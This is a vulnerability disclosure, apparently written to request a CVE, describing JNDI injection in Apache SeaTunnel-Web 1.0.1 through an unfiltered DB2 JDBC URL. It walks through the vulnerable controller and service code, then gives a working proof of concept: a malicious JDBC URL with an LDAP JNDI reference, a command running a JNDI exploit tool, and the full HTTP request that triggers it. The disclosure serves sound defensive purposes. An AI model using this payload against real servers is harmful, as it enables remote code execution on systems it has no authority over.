found by:unam4 and SpringKill
please allocate CVE for them, which is very important to us
0x01 Vulnerability description Apache Seatunnel-WEB 1.0.1 exists in a JNDI injection. The main reason is that JDBCURL is controllable and has no filtering. The attacker can use the IBM.DB2 database to construct a malicious JDBCUR for JNDI attack, causing the server permissions to lose.
0x02 Code analysis org.apache.seatunnel.app.controller.SeatunnelDatasourceController#testConnect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Result<Boolean> testConnect ( @ApiIgnore @RequestAttribute(value = SESSION_USER) User loginUser, @RequestBody DatasourceCheckReq req) { return Result.success( datasourceService.testDatasourceConnectionAble( loginUser.getId(), req.getPluginName(), DEFAULT_PLUGIN_VERSION, req.getDatasourceConfig())); }public class DatasourceCheckReq { private String pluginName; private Map<String, String> datasourceConfig; }
It will get DataSourceConfig from REQ
org.apache.seatunnel.app.service.impl.DatasourceServiceImpl#testDatasourceConnectionAble(java.lang.Integer, java.lang.String, java.lang.String, java.util.Map<java.lang.String,java.lang.String>)
1 2 3 4 5 6 7 8 9 10 public boolean testDatasourceConnectionAble ( Integer userId, String pluginName, String pluginVersion, Map<String, String> datasourceConfig) { funcPermissionCheck(SeatunnelFuncPermissionKeyConstant.DATASOURCE_TEST_CONNECT, userId); return DataSourceClientFactory.getDataSourceClient() .checkDataSourceConnectivity(pluginName, datasourceConfig); }public static final String DATASOURCE_TEST_CONNECT = "datasource:test-connect" ;
He will check that the user first has DataSource: test-connect permissions,Then call CheckdataSourceConnectivity for connection test
org.apache.seatunnel.datasource.AbstractDataSourceClient#checkDataSourceConnectivity
1 2 3 4 5 6 7 8 9 public Boolean checkDataSourceConnectivity ( String pluginName, Map<String, String> dataSourceParams) { updateClassLoader(pluginName); boolean isConnect = getDataSourceChannel(pluginName) .checkDataSourceConnectivity(pluginName, dataSourceParams); classLoaderRestore(); return isConnect; }
Then call GetDataSourceChannel () to get the database Channel, and then call the database CheckdataSourceConnectivity for detection
Since the IBM.DB2 database exists, you can set the pluginname to JDBC-DB2, and then like a function
org.apache.seatunnel.datasource.plugin.db2.jdbc.Db2JdbcDataSourceChannel#checkDataSourceConnectivity
1 2 3 4 5 6 7 8 public boolean checkDataSourceConnectivity ( @NonNull String pluginName, @NonNull Map<String, String> requestParams) { try (Connection ignored = getConnection(requestParams)) { return true ; } catch (Exception e) { throw new DataSourcePluginException ("check jdbc connectivity failed" , e); } }
You can directly getConnection. Requestparams is introduced by us and follows upconnection.
org.apache.seatunnel.datasource.plugin.db2.jdbc.Db2JdbcDataSourceChannel#getConnection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private Connection getConnection (Map<String, String> requestParams) throws SQLException, ClassNotFoundException { Class.forName("com.ibm.db2.jcc.DB2Driver" ); checkNotNull(requestParams.get(Db2OptionRule.URL.key()), "Jdbc url cannot be null" ); String url = requestParams.get(Db2OptionRule.URL.key()); if (requestParams.containsKey(Db2OptionRule.USER.key())) { String username = requestParams.get(Db2OptionRule.USER.key()); String password = requestParams.get(Db2OptionRule.PASSWORD.key()); return DriverManager.getConnection(url, username, password); } return DriverManager.getConnection(url); } }
It directly obtains JDBCURL, User, Password from RequestParams. IBM.DB2 has a JNDI problem, and we can control the malicious JDBCURL to cause JNDI injection. Just like this
1 jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/remoteExploit8
0x03 poc Get a JNDI tool in the local area https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
1 java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C "open -a calculator"
Install all databases and use the version below JDK8U191 to enable the service
The corresponding route corresponding to the interface is/API/V1/DataSource/Check/Connect. After login, send the following data packets, causing jndi injection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /seatunnel/api/v1/datasource/check/connect HTTP/1.1 Host : 127.0.0.1:5173sec-ch-ua : "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"Accept : application/json, text/plain, */*User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Sec-Fetch-Dest : emptytoken : eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJpZCI6MiwidHlwZSI6MCwic3RhdHVzIjowLCJpYXQiOjE3MjM1Mjg0MjYsImV4cCI6MTcyMzYxNDgyNn0.W5o0GIb8mvtSkANLC4hu29u4FlF0jQYzTVlC_B122-0Origin : http://127.0.0.1:5173Accept-Language : zh-CN,zh;q=0.9Sec-Fetch-Site : same-originAccept-Encoding : gzip, deflate, br, zstdContent-Type : application/jsonReferer : http://127.0.0.1:5173/sec-ch-ua-platform : "macOS"sec-ch-ua-mobile : ?0Sec-Fetch-Mode : corsContent-Length : 202{ "pluginName" : "JDBC-Db2" , "datasourceConfig" : { "url" : "jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/remoteExploit8;" , "driver" : "com.ibm.db2.jcc.DB2Driver" } }
0x04 Repair suggestions Strictly filter the passing JBDCURL.